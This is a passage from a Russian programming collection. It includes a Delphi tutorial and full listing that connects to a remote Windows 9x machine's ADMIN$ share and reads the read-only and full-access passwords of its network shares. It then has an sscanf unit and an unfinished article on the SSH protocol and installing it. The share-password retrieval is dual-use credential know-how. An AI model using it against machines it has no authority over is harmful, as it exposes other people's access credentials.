Зная доступное сетевое имя машины, с помощью функции NetShareEnum мы можем получить список имен доступных сетевых устройств этой машины. Вышеуказанная функция помещает информацию о сетевом ресурсе в массив элементов типа TShareInfo50. Размерность этого массива определяется константой MaxNetArrayItems равной 512, т.е. максимально возможное число открытых сетевых ресурсов для одной машины не может превышать 512. Вот прототип этой функции:

function NetShareEnum(const pszServer: PChar; sLevel: SmallInt;
  pbBuffer: Pointer; cbBuffer: Word; var pcEntriesRead: Word;
  var pcTotalAvail: Word): DWORD;
где: pszServer - сетевое имя машины; sLevel - уровень доступа, для Win'9X всегда 50; pbBuffer - указатель буфера, в который будет помещен массив с информацией о сетевых ресурсах cbBuffer - размер этого буфера; pcEntriesRead - количество доступных сетевых ресурсов; pcTotalAvail - общее количество байт, считанных функцией.

Так как мы рассматриваем работу NetShare* функций на конкретном примере, немного модифицируем функцию, в нашем случае процедуру, получающую информацию о доступных сетевых ресурсах. В качестве аргумента нашей процедуры передадим переменную типа TStrings, в которую будем помещать имена сетевых ресурсов.

procedure TForm1.FillShareEnum(Items: TStrings);
var
  ShareInfo: array[0..MaxNetArrayItems - 1] of TShareInfo50;
  EntriesRead, TotalAvial: Word;
  Res: Integer;
  N: Integer;
begin
  Items.Clear; //почистим Items
  FillChar(ShareInfo, SizeOf(ShareInfo), #0); //заполним буфер нолями
  Res := NetShareEnum(PChar('\\' + edComputerNetName.Text), 50, @ShareInfo,
    SizeOf(ShareInfo),
    EntriesRead, TotalAvial); //имя сетевой машины возьмем из строки ввода,
  //предварительно озаглавив его двумя обратными слэшами
  if Res = No_Error then //функция выполнена без ошибок
    for N := 0 to EntriesRead - 1 do
      //пройдемся по буферу считанных имен ресурсов
      if not (string(ShareInfo[N].shi50_netname) = '') then
        Items.Add(string(ShareInfo[N].shi50_netname));
          //добавим имя машины в список
end;
В принципе, обрабатывая ShareInfo[N], мы уже можем видеть все параметры открытого доступа для сетевого ресурса. На этом можно было бы и остановиться. Но... пойдем дальше. Шаг третий. NetShareGetInfo - получение информации о сетевом ресурсе. Зная имя сетевой машины и имя конкретного сетевого ресурса, мы можем получить достаточно подробную информацию об этом ресурсе, но не более, чем может это предоставить переменная TShareInfo50, описание которой дано в первой статье. Функция NetShareGetInfo в отличие от ранее описанной имеет одну особенность - мы должны заранее указать размер считываемых байт. Для этого пойдем на небольшую хитрость - сначала посмотрим сколько байт в памяти занимает информация о ресурсе, а затем укажем это количество в качестве размерности буфера. Ну и напишем нашу функцию с учетом конкретной прикладной задачи. В аргументы функции поместим имя машины и имя ресурса, а в качестве результата выдадим определенную нами (см. листинг программы) переменную типа TShareEvent.

Но, вначале прототип самой функции:

function NetShareGetInfo(const pszServer: PChar; const pszNetName: PChar;
  sLevel: SmallInt; pbBuffer: Pointer; cbBuffer: Word;
  var pcTotalAvail: Word): DWORD;
где: pszServer - имя сетевой машины; pszNetName - имя сетевого ресурса; sLevel - уровень доступа; pbBuffer - указатель на буфер, в нашем случае указатель на буфер типа TShareInfo50; cbBuffer - размерность буфера; pcTotalAvail - количество считанных байт.

А теперь пример ее использования.

function TForm1.GetShareInfo(ComputerNetName, ResourceNetName: string):
  TShareEvent;
var
  pbBuffer: ^TShareInfo50; //указатель на буфер
  Buf: TShareInfo50; //сам буфер
  Res: Integer;
  pcTotalAvail: Word; //количество считанных байт
begin
  with Result do //почистим результат функции
  begin
    res := 0;
    ReadOnlyPassword := '';
    FullAccessPassword := '';
    Comments := '';
    Path := '';
  end;
  FillChar(Buf, SizeOf(Buf), #0); //заполним буфер нолями
  //ничего не укажем о нашем буфере и выполним функцию, в результате чего
  //получим в переменную pcTotalAvail количество считанных байт.
  NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50, nil, 0,
    pcTotalAvail);
  //инициализируем буферный указатель и дадим ему нужное количество памяти
  GetMem(pbBuffer, pcToTalAvail);
  //поместим в буфер имя сетевого ресурса, зачем не знаю - имя мы уже и так
  //указываем, но без этого функция почему-то не работает, по крайней мере у меня
  StrPCopy(pbBuffer^.shi50_netname, ResourceNetName);
  //выполним функцию еще раз уже указав параметры буфера
  Res := NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50,
    pbBuffer, pcTotalAvail, pcTotalAvail);
  if Res = 0 then //все в порядке
  begin
    //передадим данные из указателя в "обычную" переменную
    Buf := pbBuffer^;
    //заполним результат полученными значениями
    Result.ReadOnlyPassword := string(Buf.shi50_ro_password);
    Result.FullAccessPassword := string(Buf.shi50_rw_password);
    Result.Comments := string(Buf.shi50_remark);
    Result.Path := string(Buf.shi50_path);
  end;
  //освободим указатель
  FreeMem(pbBuffer);
end;
Все бы хорошо. Но... Есть одно "но". Сетевая машина не покажет Вам параметры своих сетевых устройств, пока не услышит "Сезам, откройся!". Шаг четвертый. "Сезам, откройся! Я - магический ADMIN$".

Вообще-то в рассматриваемой программе это не четвертый шаг, а второй. Но для описания работы программы будет лучше, если будем ее рассматривать именно в такой последовательности. Да, еще - рассказ о сетевом имени ADMIN$ был в предыдущей статье, поэтому - сразу к делу.

procedure TForm1.ConnectAdmin;
var
  CompName: string;
  Res: Integer;
  lpNetResource: TNetResource;
  ComputerName: array[0..MAX_COMPUTERNAME_LENGTH] of Char;
  BufSize: Integer;
begin
  //получим имя локальной машины
  BufSize := MAX_COMPUTERNAME_LENGTH + 1;
  GetComputerName(@ComputerName, BufSize);
  CompName := string(ComputerName);
  //если имя локальной машины совпадает с сетевым именем машины,
  //значит идет запрос о сетевом ресурсе локальной машины -
  //в этом случае ADMIN$ не нужен
  if AnsiUpperCase(CompName) = AnsiUpperCase(edComputerNetName.Text) then
    Exit;
  //заполним нолями значение указателя
  ZeroMemory(@lpNetResource, SizeOf(lpNetResource));
  //укажем нужные значения
  with lpNetResource do
  begin
    dwType := RESOURCETYPE_ANY;
    lpRemoteName := '';
    lpRemoteName := PChar('\\' + edComputerNetName.Text + '\ADMIN$' + #0);
  end;
  //Сезам, откройся!
  Res := WNetAddConnection3(Application.Handle, lpNetResource, nil, nil,
    CONNECT_INTERACTIVE);
  //Сезам, к сожалению не открылся...
  if not (Res = NO_ERROR) then
  begin
    ShowMessage('Without connected resource ''ADMIN$'' a work impossible!');
    Application.Terminate;
  end;
end;
Шаг пятый и последний. Листинг программы.

Что надо положить на форму смотрите в описании TForm1 = class(TForm) или откройте вложенный в качестве примера проект программы.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ShlObj, Buttons;
//необходимые константы
const
  LM20_NNLEN = 12;
  SHPWLEN = 8;
  SHI50F_RDONLY = 1;
  SHI50F_FULL = 2;
  STYPE_DISKTREE = 0;
  MaxNetArrayItems = 512;
  //формируем тип для записи с необходимыми параметрами
type
  //для Win'9x
  TShareInfo50 = packed record
    shi50_netname: array[0..LM20_NNLEN] of Char; //сетевое имя
    shi50_type: Byte; //тип ресурса
    shi50_flags: Short; //флаг доступа
    shi50_remark: PChar; // комментарий
    shi50_path: PChar; // путь к ресурсу
    shi50_rw_password: array[0..SHPWLEN] of Char; //пароль полного доступа
    shi50_ro_password: array[0..SHPWLEN] of Char;
      //пароль "только чтение" доступа
  end;
  TShareEvent = record //информация о сетевом ресурсе
    Res: Integer;
    ReadOnlyPassword: string;
    FullAccessPassword: string;
    Comments: string;
    Path: string;
  end;
  TForm1 = class(TForm)
    edComputerNetName: TEdit;
    Button1: TButton;
    ComboBox1: TComboBox;
    BitBtn1: TBitBtn;
    BitBtn2: TBitBtn;
    lbReadOnlyPassword: TLabel;
    edReadOnlyPassword: TEdit;
    lbFullAccessPassword: TLabel;
    edFullAccessPassword: TEdit;
    lbComments: TLabel;
    edComments: TEdit;
    lbPhysicalPath: TLabel;
    edPhysicalPath: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
  private
    { Private declarations }
    procedure FillShareEnum(Items: TStrings);
    function GetComputerNetName: string;
    function GetShareInfo(ComputerNetName, ResourceNetName: string):
      TShareEvent;
    procedure ConnectAdmin;
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
function NetShareGetInfo(const pszServer: PChar; const pszNetName: PChar;
  sLevel: SmallInt; pbBuffer: Pointer; cbBuffer: Word;
  var pcTotalAvail: Word): DWORD; stdcall; External 'svrapi.dll' name
    'NetShareGetInfo';
function NetShareEnum(const pszServer: PChar; sLevel: SmallInt;
  pbBuffer: Pointer; cbBuffer: Word; var pcEntriesRead: Word;
  var pcTotalAvail: Word): DWORD; stdcall; external 'svrapi.dll';
implementation
{$R *.DFM}
procedure TForm1.ConnectAdmin;
var
  CompName: string;
  Res: Integer;
  lpNetResource: TNetResource;
  ComputerName: array[0..MAX_COMPUTERNAME_LENGTH] of Char;
  BufSize: Integer;
begin
  //получим имя локальной машины
  BufSize := MAX_COMPUTERNAME_LENGTH + 1;
  GetComputerName(@ComputerName, BufSize);
  CompName := string(ComputerName);
  //если имя локальной машины совпадает с сетевым именем машины,
  //значит идет запрос о сетевом ресурсе локальной машины -
  //в этом случае ADMIN$ не нужен
  if AnsiUpperCase(CompName) = AnsiUpperCase(edComputerNetName.Text)ThenExit;
  //заполним нолями значение указателя
  ZeroMemory(@lpNetResource, SizeOf(lpNetResource));
  //укажем нужные значения
  with lpNetResource do
  begin
    dwType := RESOURCETYPE_ANY;
    lpRemoteName := '';
    lpRemoteName := PChar('\\' + edComputerNetName.Text + '\ADMIN$' + #0);
  end;
  //Сезам, откройся!
  Res := WNetAddConnection3(Application.Handle, lpNetResource, nil, nil,
    CONNECT_INTERACTIVE);
  //Сезам, к сожалению не открылся...
  if not (Res = NO_ERROR) then
  begin
    ShowMessage('With out connected resource ''ADMIN$'' a work impossible!');
    Application.Terminate;
  end;
end;
function TForm1.GetShareInfo(ComputerNetName, ResourceNetName: string):
  TShareEvent;
var
  pbBuffer: ^TShareInfo50; //указатель на буфер
  Buf: TShareInfo50; //сам буфер
  Res: Integer;
  pcTotalAvail: Word; //количество считанных байт
begin
  with Result do //почистим результат функции
  begin
    res := 0;
    ReadOnlyPassword := '';
    FullAccessPassword := '';
    Comments := '';
    Path := '';
  end;
  FillChar(Buf, SizeOf(Buf), #0); //заполним буфер нолями
  //ничего не укажем о нашем буфере и выполним функцию, в результате чего
  //получим в переменную pcTotalAvail количество считанных байт.
  NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50, nil, 0,
    pcTotalAvail);
  //инициализируем буферный указатель и дадим ему нужное количество памяти
  GetMem(pbBuffer, pcToTalAvail);
  //поместим в буфер имя сетевого ресурса, зачем не знаю - имя мы уже и так
  //указываем, но без этого функция почему-то не работает, по крайней мере у меня
  StrPCopy(pbBuffer^.shi50_netname, ResourceNetName);
  //выполним функцию еще раз уже указав параметры буфера
  Res := NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50,
    pbBuffer, pcTotalAvail, pcTotalAvail);
  if Res = 0 then //все в порядке
  begin
    //передадим данные из указателя в "обычную" переменную
    Buf := pbBuffer^;
    //заполним результат полученными значениями
    Result.ReadOnlyPassword := string(Buf.shi50_ro_password);
    Result.FullAccessPassword := string(Buf.shi50_rw_password);
    Result.Comments := string(Buf.shi50_remark);
    Result.Path := string(Buf.shi50_path);
  end;
  //освободим указатель
  FreeMem(pbBuffer);
end;
procedure TForm1.FillShareEnum(Items: TStrings);
var
  ShareInfo: array[0..MaxNetArrayItems - 1] of TShareInfo50;
  EntriesRead, TotalAvial: Word;
  Res: Integer;
  N: Integer;
begin
  Items.Clear; //почистим Items
  FillChar(ShareInfo, SizeOf(ShareInfo), #0); //заполним буфер нолями
  Res := NetShareEnum(PChar('\\' + edComputerNetName.Text), 50, @ShareInfo,
    SizeOf(ShareInfo),
    EntriesRead, TotalAvial); //имя сетевой машины возьмем из строки ввода,
  //предварительно озаглавив его двумя обратными слэшами
  if Res = No_Error then //функция выполнена без ошибок
    for N := 0 to EntriesRead - 1 do
      //пройдемся по буферу считанных имен ресурсов
      if not (string(ShareInfo[N].shi50_netname) = '') then
        Items.Add(string(ShareInfo[N].shi50_netname));
          //добавим имя машины в список
end;
function TForm1.GetComputerNetName: string;
var
  RootItemIDList: PItemIDList;
    //идентификатор объекта в пространстве имен проводника
  BrowseInfo: TBrowseInfo; //структура, в которой содержится информация о диалоге
  Buffer: PChar; //сюда получим имя компьютера
begin
  Result := '';
  //получим нужный идентификатор PItemIDList, CSIDL_NETWORK - в сетевом окружении
  if not (SHGetSpecialFolderLocation(0, CSIDL_NETWORK, RootItemIDList) =
    NO_ERROR) then
    Exit;
  //подготовим буфер, в который получим имя компьютера
  GetMem(Buffer, Max_Path);
  FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
  //подготовим структуру TBrowseInfo
  with BrowseInfo do
  begin {With BrowseInfo}
    hwndOwner := Application.Handle; //хозяин окна - наше приложение
    pidlRoot := RootItemIDList; //полученный ранее идентификатор
    // объекта в списке объектов проводника
    pszDisplayName := Buffer; //имя компьютера будем принимать в Buffer
    lpszTitle := 'Подключенные компьютеры'; //заголовок диалога
    ulFlags := BIf_BROWSEFORCOMPUTER; //будут показаны имена только компьютеров
  end; {With BrowseInfo}
  //выполним нужную функцию
  if SHBrowseForFolder(BrowseInfo) = nil ThenExit;
  Result := string(Buffer); //вот оно - сетевое имя компьютера
  FreeMem(Buffer);
end;
procedure TForm1.Button1Click(Snder: TObject);
begin
  edComputerNetName.Text := GetComputerNetName;
  FillShareEnum(ComboBox1.Items);
  ComboBox1.ItemIndex := 0;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
var
  ShareEvent: TShareEvent;
begin
  if (edComputerNetName.Text = '') or (ComboBox1.Text = '') then
  begin
    edComputerNetName.SetFocus;
    Exit;
  end;
  ConnectAdmin;
  ShareEvent := GetShareInfo('\\' + edComputerNetName.Text, ComboBox1.Text);
  edReadOnlyPassword.Text := ShareEvent.ReadOnlyPassword;
  edFullAccessPassword.Text := ShareEvent.FullAccessPassword;
  edComments.Text := ShareEvent.Comments;
  edPhysicalPath.Text := ShareEvent.Path;
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
begin
  Close;
end;
end.

Скачать проект Example.zip (4.8 K).

Sscanf в Delphi.

Некоторое время назад одна любезная душа прислала мне этот модуль. Я нашел его весьма полезным, но применять его вам надлежит с некоторой долей осторожности, ибо тэг %s иногда приводит к исключительным ситуациям.

unit Scanf;
interface
uses SysUtils;
type
  EFormatError = class(ExCeption);
function Sscanf(const s: string; const fmt: string;
  const Pointers: array of Pointer): Integer;
implementation
{ Sscanf выполняет синтаксический разбор входной строки. Параметры...
s - входная строка для разбора
fmt - 'C' scanf-форматоподобная строка для управления разбором
%d - преобразование в Long Integer
%f - преобразование в Extended Float
%s - преобразование в строку (ограничено пробелами)
другой символ - приращение позиции s на "другой символ"
пробел - ничего не делает
Pointers - массив указателей на присваиваемые переменные
результат - количество действительно присвоенных переменных
Например, ...
Sscanf('Name. Bill   Time. 7:32.77   Age. 8',
'. %s . %d:%f . %d', [@Name, @hrs, @min, @age]);
возвратит ...
Name = Bill  hrs = 7  min = 32.77  age = 8 }
function Sscanf(const s: string; const fmt: string;
  const Pointers: array of Pointer): Integer;
var
  i, j, n, m: integer;
  s1: string;
  L: LongInt;
  X: Extended;
  function GetInt: Integer;
  begin
    s1 := '';
    while (s[n] = ' ') and (Length(s) > n) do
      inc(n);
    while (s[n] in ['0'..'9', '+', '-'])
      and (Length(s) >= n) do
    begin
      s1 := s1 + s[n];
      inc(n);
    end;
    Result := Length(s1);
  end;
  function GetFloat: Integer;
  begin
    s1 := '';
    while (s[n] = ' ') and (Length(s) > n) do
      inc(n);
    while (s[n] in ['0'..'9', '+', '-', '.', 'e', 'E'])
      and (Length(s) >= n) do
    begin
      s1 := s1 + s[n];
      inc(n);
    end;
    Result := Length(s1);
  end;
  function GetString: Integer;
  begin
    s1 := '';
    while (s[n] = ' ') and (Length(s) > n) do
      inc(n);
    while (s[n] <> ' ') and (Length(s) >= n) do
    begin
      s1 := s1 + s[n];
      inc(n);
    end;
    Result := Length(s1);
  end;
  function ScanStr(c: Char): Boolean;
  begin
    while (s[n] <> c) and (Length(s) > n) do
      inc(n);
    inc(n);
    if (n <= Length(s)) then
      Result := True
    else
      Result := False;
  end;
  function GetFmt: Integer;
  begin
    Result := -1;
    while (TRUE) do
    begin
      while (fmt[m] = ' ') and (Length(fmt) > m) do
        inc(m);
      if (m >= Length(fmt)) then
        break;
      if (fmt[m] = '%') then
      begin
        inc(m);
        case fmt[m] of
          'd': Result := vtInteger;
          'f': Result := vtExtended;
          's': Result := vtString;
        end;
        inc(m);
        break;
      end;
      if (ScanStr(fmt[m]) = False) then
        break;
      inc(m);
    end;
  end;
begin
  n := 1;
  m := 1;
  Result := 0;
  for i := 0 to High(Pointers) do
  begin
    j := GetFmt;
    case j of
      vtInteger:
        begin
          if GetInt > 0 then
          begin
            L := StrToInt(s1);
            Move(L, Pointers[i]^, SizeOf(LongInt));
            inc(Result);
          end
          else
            break;
        end;
      vtExtended:
        begin
          if GetFloat > 0 then
          begin
            X := StrToFloat(s1);
            Move(X, Pointers[i]^, SizeOf(Extended));
            inc(Result);
          end
          else
            break;
        end;
      vtString:
        begin
          if GetString > 0 then
          begin
            Move(s1, Pointers[i]^, Length(s1) + 1);
            inc(Result);
          end
          else
            break;
        end;
    else
      break;
    end;
  end;
end;
end.

Описание протокола SSH (Secure Shell).

Из разговора провайдера с клиентом. Провайдер: - ...Теперь нажмите "Ok". Сейчас Windows предложит вам перегрузиться. Не соглашайтесь. Клиент: - А что делать? Провайдер: - Торговаться!

В настоящей статье рассматривается ssh (secure shell), одно из самых распространенных программных средств повышения компьютерной безопасности при работе Unix-систем в Internet.

Число как средств защиты, так и инструментов, способствующих взлому, в Internet огромно. Однако складывается впечатление, что по крайней мере два средства tcpwrapper и ssh входят в состав своеобразного джентльменского набора ОС Unix, который можно рекомендовать любому системному администратору. В частности, эти средства используют все отечественные Internet-провайдеры, с которыми мне приходилось иметь дело. Возможно, это связано и со стандартной_ комплектацией ssh операционной системы FreeBSD, весьма популярной среди наших провайдеров.

Причиной нашего внимания к этой теме является не только популярность ssh среди пользователей, работающих в самых разных областях. Хотя ssh появился лишь в 1995 г., в настоящее время он уже рассматривается как проект стандарта Internet, подготовкой которого занимается специальная рабочая группа secsh в IETF Security Area. Строго говоря, в этой рабочей группе стандартизуется, конечно, не ssh как программный продукт, а набор протоколов ssh.

Тем временем, ssh уже завоевал статус фактического стандарта Internet на безопасные терминальные соединения. Автором первоначального варианта ssh является Т. Ялонен. В настоящее время выпущена вторая версия ssh; разработкой программного продукта SSH2 занимается компания SSH Communication Security Кроме версии ssh, доступной бесплатно, имеется и усовершенствованный коммерчески доступный вариант. Кроме того, с использованием этой программы разработаны и некоторые другие коммерческие продукты. Поставками коммерческой версии ssh занимается Data Fellows; эта компания предлагает, в частности, программные продукты F-secure SSH Server и F-Secure SSH Tunell & Terminal.

Под ssh понимают как собственно программу, так и задействованный в ней протокол. Что касается программы, то для ее краткой характеристики следует сказать, что ssh представляет собой средство организации безопасного доступа к компьютерам при работе по небезопасным каналам связи. Для организации безопасного доступа применяется процедура аутентификации с использованием асимметричного шифрования с открытым ключом. Это обеспечивает более высокую безопасность, чем при использовании симметричного шифрования, хотя и порождает дополнительную вычислительную нагрузку. При последующем обмене данными применяется уже симметричное шифрование, более экономичное в смысле затрат процессорного времени.

Что касается типов обеспечиваемого удаленного доступа, ssh поддерживает возможности работы с telnet; безопасную работу с протоколом X11 благодаря возможности перенаправления соответствующих данных по надежным ssh-каналам; безопасную замену многим r_-командам Unix (rsh, rlogin и т.д.), с которыми, как известно, традиционно связаны проблемы обеспечения безопасности.

Впрочем, рассмотрение ssh следует начать с протоколов. Для того чтобы чтение статьи оказалось полезным для потребителей ssh_ и в первую очередь для системных администраторов, ранее не пользовавшихся средствами, подобными ssh, рассмотрение будет ориентировано на практически важные аспекты.

Протокол ssh

Проект стандарта ssh описывает протоколы ssh и состоит из нескольких документов, которые описывают общую архитектуру протокола, а также протоколы трех уровней: протокол транспортного уровня, протокол аутентификации и протокол соединения. Их задача _ обеспечивать безопасную сетевую службу наподобие удаленного login поверх небезопасной_ сети.

Протокол транспортного уровня обеспечивает аутентификацию сервера, конфиденцальность и целостность. Протокол аутентификации обеспечивает аутентификацию клиента для сервера. Наконец, протокол соединения ssh мультиплексирует безопасный (шифруемый) канал, представляя его в виде нескольких логических каналов, которые используются для различных целей (различных видов служб).

Протокол транспортного уровня предусматривает возможность сжатия данных. Этот протокол работает поверх соединения TCP/IP. Протокол аутентификации работает поверх протокола транспортного уровня, а протокол соединения ' поверх протокола аутентификации.

С целью повышения безопасности осуществляется не только аутентификация клиента для сервера, к которому обращается клиент, но и аутентификация сервера клиентом _ другими словами, происходит аутентификация обеих сторон.

Клиент шлет запрос на обслуживание в первый раз, когда устанавливается безопасное соединение транспортного уровня ssh. Второй запрос направляется уже после завершения аутентификации пользователя (клиента).

Прежде чем анализировать протоколы ssh подробнее, следует определить понятие ключ хоста_. Каждый работающий с ssh хост, на котором может выполняться как клиент, так и сервер, может иметь не менее одного ключа, причем для шифрования допускаются различные криптографические алгоритмы. Несколько хостов могут иметь общий ключ хоста. Однако каждый хост должен иметь хотя бы один ключ, с которым работает каждый из требуемых алгоритмов работы с открытыми ключами. В проекте стандарта в настоящее время требуемый алгоритм только один _ DSS (Digital Signature Standard).

Ключ хоста-сервера используется при обмене открытыми ключами с целью проверки того, что клиент действительно общается с настоящим_ (а не подмененным) сервером. Для этого клиент должен знать открытый ключ хоста-сервера. Это знание реализуется в рамках одной из двух моделей.

В первой клиент просто имеет некий локальный файл, в котором каждому имени хоста ставится в соответствие его открытый ключ. Во второй модели вводится понятие сертификационного агента_, который и отвечает за проверку соответствия имени хоста его открытому ключу. При этом клиент знает только открытый ключ самого сертификационного агента. В последнем случае упрощается поддержка клиента (ему нужно знать всего один открытый ключ), но появляются высокие требования к сертификационному агенту, который должен иметь открытые ключи всех хостов, к которым обращаются клиенты.

Протоколом предусмотрена возможность отказа от проверки ключа хоста-сервера при самом первом обращении клиента к этому серверу. При этом соединение клиент-сервер будет защищено от пассивного прослушивания сети, но возникает опасность атаки типа человек в середине_ (man-in-the-middle), т. е. попытки временной подмены сервера. Если эта возможность используется, ключ хоста-сервера будет автоматически передан клиенту и сохранен в его локальном файле.

Разработчики проекта протокола ssh особенно заботились о его долголетии_. Протокол будет расширяемым; планируется возможность дополнения криптографических алгоритмов, используемых при работе ssh. C этой целью проектом предусмотрено, что между клиентом и сервером происходят переговоры_, в результате которых выбираются методы шифрования, форматы открытых ключей и т.п., которые будут использованы в данном сеансе. При этом с целью обеспечения интероперабельности должен поддерживаться некоторый минимальный набор алть национальные криптографические стандарты.

Интервал номеров Тип сообщений Протокол
Интервал номеров Тип сообщений Протокол
1-19 Транспортный уровень (общая часть) Транспортный
20-29 Переговоры клиента и сервера о выборе алгоритма
30-49 Специфические для метода обмена ключами
50-59 Протокол аутентификации (общая часть) Аутентификации
60-79 Протокол аутентификации (часть, специфическая для метода аутентификации)
80-89 Протокол соединения (общая часть) Соединения
90-127 Сообщения, относящиеся к каналам
90-128 Резерв (для протоколов клиентов)
192-255 Локальные расширения

Таблица 1. Номера сообщений ssh и их назначение.

Отдельного упоминания заслуживают вопросы увеличения трафика в связи с применением протоколов ssh. Ясно, что при передаче в сети больших пакетов дополнительная нагрузка, вызванная передачей управляющих заголовков ssh, невелика. Основное внимание следует обратить на приложения, для которых характерны короткие пакеты _ например, telnet. Минимальный размер заголовка TCP/IP равен 32 байта; минимальный же размер пакета при использовании ssh увеличится с 33 до (примерно) 51 байта.

Учитывая, что в Ethernet минимальная длина поля данных пакета равна 46 байт, дополнительный нагрузкой _ в 5 байт _ можно пренебречь. Наиболее существенным влияние ssh оказывается, вероятно, при использовании протокола PPP на низкоскоростных модемных соединениях, поскольку PPP сжимает заголовки TCP/IP. Однако существенный прогресс в скоростях передачи данных позволяет рассчитывать, что дополнительные задержки будут измеряться несколько миллисекундами и останутся незаметны человеку.

Наконец, несколько слов о кодировании сетевых адресов. Поскольку DNS ' ненадежный протокол, в ssh он не используется. При адресации применяются IP-адреса, причем в проекте заложена поддержка IPv6.

Все сообщения (пакеты) ssh содержат номер сообщения _ число от 1 до 255. Этот диапазон разбит на подинтервалы, причем разным уровням протокола ssh отвечают разные диапазоны.

Установка

При установке всякого бесплатно распространяемого по Internet программного продукта и ssh здесь не исключение ' часто приходится сталкиваться с тем, что используемая Вами версия ОС Unix чуть-чуть_ отличается от того, чего ждали от нее разработчики данного продукта. В результате программный продукт может оказаться не вполне работоспособен, или вовсе транслироваться с ошибками. Автор столкнулся с некоторыми особенностями установки ssh в средах SGI Irix и Linux; о них будет рассказано ниже. Формально наше изложение относится к ssh версии 1.2.26, если явно не оговорено противное (процедуры установки различных версий ничем кардинальным не отличаются).

После того, как дистрибутив ssh получен и разархивирован, процедура установки включает три простых стадии. На первой следует выполнить командный файл configure. Все основные особенности создаваемого варианта ssh задаются параметрами, указываемыми при запуске configure. Можно задать целый ряд ключей (операндов).

В частности, указывается, какие методы шифрования сеанса будут использованы при работе ssh (предлагается, в частности, IDEA, DES, тройной_ DES, ARCFOUR, BLOWFISH). Поскольку в ARCFOUR найдена дыра_, по умолчанию этот метод исключается, а остальные, наоборот, включены. Основным по умолчанию является IDEA, использующий 128-разрядные ключи. Если он исключен, основным алгоритмом становится 3DES, трехкратное последовательное DES-шифрование c 56-разрядным ключом. Учитывая несколько нашумевших вскрытий_ однократного DES-ключа, это выглядит разумной предосторожностью. Нужно отметить также метод BLOWFISH, который при той же длине ключа (от 32 до 448 разрядов) работает быстрее IDEA и DES. Используемый по умолчанию метод шифрования можно указать явно, установив нужное значение SSH_FALL BACK_CIPHER во включаемом файле ssh.h.

При запуске configure можно специфицировать поддержку Kerberos 5, средств работы с сервером аутентификации TIS, с Secure Dynamics Secure ID card и т.д. Можно разрешить или запретить перенаправление портов TCP/IP клиентского и серверного хостов, а также ' отдельно _ перенаправление портов протокола X11.

Можно задать также замену стандартных команд rlogin и rsh соответствующими одноименными модулями из дистрибутива ssh. Тогда для соединений будет использоваться протокол ssh ' конечно, если удаленный компьютер его поддерживает (в противном случае после предупреждения будет осуществлен переход к обычным средствам rlogin/rsh).

Поскольку подразумеваемые значения ключей configure установлены весьма разумно, при вызове configure обычно не приходится задавать большого числа операндов и можно обойтись чем-то наподобие.

./configure 'verbose
'with-libwrap=ПУТЬ 'with-X

Где ПУТЬ задает путь к библиотеке libwarp.a, которая требуется при использовании tcp_wrapper (в этом случае кроме libwrap.a для установки ssh понадобится также файл tcp.h). Последний операнд указывает на работу с протоколом X11.

При работе configure используется Autoconf, известная программа с лицензией GNU, которая автоматически определяет массу характеристик установленного на локальном компьютере программного обеспечения. При наличии операнда verbose выполнение configure сопровождается выдачей информационных сообщений, позволяющих проконтролировать генерируемые параметры.

В результате выполнения соnfigиге создает ряд новых файлов и каталогов, но главное для понимания процесса установки _ то, что при этом из файла-заготовки Makefile.in создается собственно Makefile.

На второй стадии установки запуск make приводит к компиляции всех основных модулей ssh. Наконец, третья стадия установки запускается по команде make install. При этом происходит запись порожденных программ в целевые_ каталоги (по умолчанию /usr/local/bin, /usr/local/sbin, /usr/local/man), а также создание нескольких файлов в каталоге /etc: ssh_config, sshd_config и ssh_host_key_pub.

В случае неудачи команда make distclean должна удалить все следы проделанного эксперимента_, кроме самого дистрибутива. Так написано в документации; на самом деле: в /usr/local/sbin и /usr/local/bin все остается.

В реальной жизни, конечно, возникают проблемы. Приведем некоторые конкретные примеры. Так, с ОС Irix не рекомендуется использовать версии ssh от 1.2.21 и более ранние из-за большого числа ошибок; желательно применять версии 1.2.25 и выше.

Поскольку применение ssh может вызвать задержки из-за загрузки процессора операциями шифрования, ssh желательно компилировать с оптимизацией. configure, кстати, имеет специальный операнд, разрешающий оптимизацию на уровне ассемблера. В качестве иллюстрации укажем, что для рабочей станции SGI O2 c микропроцессором R5000SC и ОС Irix 6.3, включение оптимизации Си-компилятора дает прирост производительности примерно на 25%. Однако есть сообщения, что такая оптимизация иногда вызывает ошибки при перенаправлении портов X11.

ОС ssh 1.2.26 ssh 2.0.9
SGI Irix 5.2, 5.3, 6.0.1 6.2-6.4 6.2 6.4
Digital Unix 4.0, 4.0a, 4.0b OSF/1: 3.0-3.2 4.0
Sun Solaris 2.3-2.6 SunOS 4.1 Solaris 2.5.1 2.6
HP-UX 9.x 10.x 10 20
IBM AIX 4.1 4.2 4.1 4.2
Linux Slackware 3.x RedHat 5.1 2.0.34
FreeBSD 1.x 2.x 3.0 2.x 3.0

Таблица 2. Некоторые поддерживаемые ssh операционные системы.

В ssh 2.0.8 при трансляции в ОС Irix рекомендуется использовать Си-компилятор версии 7.2, поскольку он позволяет создать более производительную программу по сравнению с 7.1. Однако следует использовать cc 7.2.1, поскольку исходный_ Си-компилятор версии 7.2 дает неработоспособный ssh.

В качестве еще одной иллюстрации обсудим Linux. Для компиляции ssh не годится gcc популярной версии 2.7.2: нужна версия 2.7.2.3 или новее. В RedHat Linux для работы с аутентификацией RSA домашний каталог пользователя и его подкаталог .ssh не должны иметь разрешение на запись членами группы.

Файлы ssh

